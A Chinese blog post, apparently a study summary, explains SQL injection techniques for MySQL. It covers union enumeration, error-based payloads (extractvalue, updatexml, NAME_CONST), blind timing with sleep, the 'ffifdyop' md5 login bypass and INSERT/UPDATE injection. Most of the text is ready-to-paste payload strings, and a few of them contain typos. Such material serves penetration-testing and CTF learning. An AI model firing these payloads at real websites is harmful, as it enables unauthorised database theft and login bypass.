SQL注入的常规思路及奇葩技巧

web安全 2017-12-02

最近在看《SQL注入攻击与防御》这本书,看了之后感觉自己之前的视野和格局还是太小了些。SQLi的应用特别广泛,多种web数据库不说,移动安卓端也存在通用的SQLi。而从语言的角度来看~PHP/JAVA/PYTHON/C#等等~都可以与SQLi联系起来,由语言特性而衍生的SQLi种类。最近还听说Javascript也能写后端了,着实把我高兴坏了,看来PHP这“世界上最好的语言”的称号,要换主了~ 同是弱类型语言,这俩哥们怕是要一绝“高低”。

废话说到这里,由于SQLi体系扩展还没有完成,所以在这里算是总结一下之前学到的一些东西和技巧,希望能对大家有用。

一、 常规思路

这里是我自己用的一些常规的测试并利用流程,如有疑问,欢迎讨论:

数据回显注入

1 针对可疑的注入点进行测试,测试方式根据数据库类型的不同也有所不同:

SQLi备忘录:

http://pentestmonkey.net/category/cheat-sheet/sql-injection

这位国外大牛收集了7种数据库的测试备忘录,非常全~

2 测试源语句查询字段数

使用order by 语法,确定字段数。这个语句的意思是按照第n列排序,若order by 8正常,order by 9报错的话就表示原查询语句查询结果为9列。

3 确定显示位

可以先尝试用select 1,2,3,4,5……,n#来检测,然后直接找相应数字出现的位置即可。之后的查询语句,最好用@或者NULL,类似 select @,@,@#
select NULL,NULL,NULL# 可以保证不会因为数据类型不匹配而测试失败;

PS:union 查询需要保证前后两个语句的查询列数相同,以及数据类型相同或相似。前者可以通过order by和其它姿势探测,后者使用NULL、@来避免。

4 查询数据库名

SELECT group_concat(schema_name) FROM information_schema.schemata

这里及以下的代码只是一个基本思路,可以在这个的基础上去变形、扩展。

1 查询表名
select group_concat(table_name) from information_schema.tables where table_schema=’xxxxx’

2 查询列名
Select groupc_concat(column_name) from information_schema.columns where table_name=’xxxxx’

3 爆数据
Select group_concat(column_name) from table_name;

报错注入

group by

报错原理

http://www.jinglingshu.org/?p=4507

语法

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

ExtractValue

报错原理

http://wt7315.blog.51cto.com/10319657/1891458

语法

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

UpdateXml

报错原理

http://wt7315.blog.51cto.com/10319657/1891458

语法

and 1=(updatexml(1,concat(0x3a,(select user())),1))

NAME_CONST

报错原理

http://www.2cto.com/article/201203/121491.html

语法

and+1=(select+*+from+(select+NAME_CONST(PAYLOAD,1),NAME_CONST(PAYLOAD,1))+as+x)

join

原理

http://www.jinglingshu.org/?p=4507

语法

select * from(select * from mysql.user a join mysql.user b using(Host))c;(爆列名贼好用)

时间盲注和布尔盲注

这个比较灵活,我遇到的案例也很少,只能介绍些常用的小技巧:

盲注比较方法

运算符比较

'abc' > 'abd' 为 TRUE

hint:字母间比较为按照字母表顺序进行,字母与非字母字符之间则按照ascii码进行比较,所以可以通过0x5b-0x60中的一个非字母字符,来判断字母的大小写。

函数

ascii()

greatest()

返回参数中最大的数

时间盲注函数

sleep()

benchmark()

select id(条件,sleep(10),false);

select CASE WHEN 1=1 THEN true ELSE flase END

奇葩技巧

类型转换绕过

原理如下:

1.png

2.png

为什么查询password=0的数据时会将这些内容输出出来呢?

原因是mysql内在对比的时候进行了类型的转换,而字符串在转换为数字时,只会保留根据字符串开头的数字,如果第一位为字母而不是数字,则转换为0,而’9hehehehe’会被转换为9。

但这个技巧不能直接在实战中应用,因为真实代码中类似以下代码:

select username,password from user where username = '$username' and password = '$password';

变量用单引号括了起来,这样一来我们输入的数字0就会被转换为字符串0;

那怎么利用呢?用算术运算符,位运算符或者比较运算符。

可以看这个:Mysql中的运算符集合

以加法举例,使用方式为:‘+’, 拼接到SQL后的语句:where username=’’+’’

即将单引号闭合后进行字符串相加,也就自然转换为了数字。

其它运算符的使用也是想通的。

md5注入

可能有时会遇到这样的注入语句:

$sql = "SELECT * FROM admin WHERE username = admin pass = '".md5($password,true)."'";

用户名定死,再对输入进行md5编码,这样好像就没办法注入了。但其实不然,因为当md5函数的第二个参数为True时,编码将以16进制返回,再转换为字符串。而字符串’ffifdyop’的md5加密结果为'or'<trash> 其中 trash为垃圾值,or一个非0值为真,也就绕过了检测。

详情可以看这个md5第二个参数带来的安全问题

Updata 和 Insert注入

当注入点为Updata 或 Insert,并且不能通过堆叠注入构造自己新的注入语句的时候,仍有以下三种方式可以获取数据:

1. 闭合后构造

假设有以下注入语句:

insert into users values (17,'注入点', 'bond');

若第一个参数可控,则可以将注入点闭合后,在后面使用不被单引号闭合的select语句,将查询结果插入表中,然后再想办法通过正常途径查看。

2. 数字相加

还是这个注入语句

insert into users values (17,'join', '注入点');

只是注入点变为了第二个,这样的话,就不能同闭合直接构造。但可以通过把想要获取的数据转换为数字,然后与原字符串相加,获取数字后再还原回来。

和上面的类型转换知识点相似,’sdasdsad’+1 = 1, 具体构造过程可以看安全客上的一篇文章, 一种新的MySQL下Update、Insert注入方法
最后的注入结果:

insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8* n)),16, 10);

3. 构造错误

对于非SELECT注入,如果成功执行的话会修改数据库数据。实战过程中不但会破坏数据库结构(白帽子挖洞的时候很可能因为这个违法),还容易引起管理员注意。所以在不让SQL语句正常执行的情况下获取数据是最好的方法。

报错盲注就不多说了,看常规部分(本文上篇)的介绍就可以。

但大部分的网站是不会傻到让你看错误回显的。

这个时候就需要时间盲注了:

比如下列注入语句

INSERT INTO table 1 VALUES (‘注入点’);

向注入点注入

'+ SELECT (SELECT CASE WHEN @@version LIKE '5.1.56%' THEN SLEEP(5) ELSE 'somevale' END FROM ((SELECT 'value1' AS foobar) UNION (SELECT 'value2' AS foobar) ALIAS) + '

整个语句就会变为

INSERT INTO table 1 VALUES (''+ SELECT (SELECT CASE WHEN @@version LIKE '5.1.56%' THEN SLEEP(5) ELSE 'somevale' END FROM ((SELECT 'value1' AS foobar) UNION (SELECT 'value2' AS foobar) ALIAS) + '');

因为返回了多列数据,该insert语句并不会执行,但是内部的select语句和sleep函数会照常执行,这样一来,也就可以通过写脚本获取数据了。
其中+为字符串连接符,根据数据库类型不同,连接符也不同,加号为SQL里的连接符,在mysql中并不适用,这里只是举个例子。

SQL约束性攻击

上篇CTF文章好像说过,之后我又找到了一篇解释得更清楚的文章:

基于约束条件的SQL攻击:

http://netsecurity.51cto.com/art/201701/526861.htm

可以学习一波。

这种漏洞就属于数据库安全配置错误;有一篇文章是专门讲数据库安全配置的,想走运维以及CTF的web出题人(防止预期之外的解)可以看一下:

MySQL安全配置

http://netsecurity.51cto.com/art/201506/479064.htm

结束

除了以上的,还有一些东西,但有些是之前写过的,有些是还没有测试过的,这次就不发出来了。关于SQLi,正在总结一个各种姿势的思维导图,总结好了之后,希望大家前来赏光。

参考文献:

http://bobao.360.cn/learning/detail/3804.html
http://bobao.360.cn/learning/detail/3758.html


本文由 myh0st 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论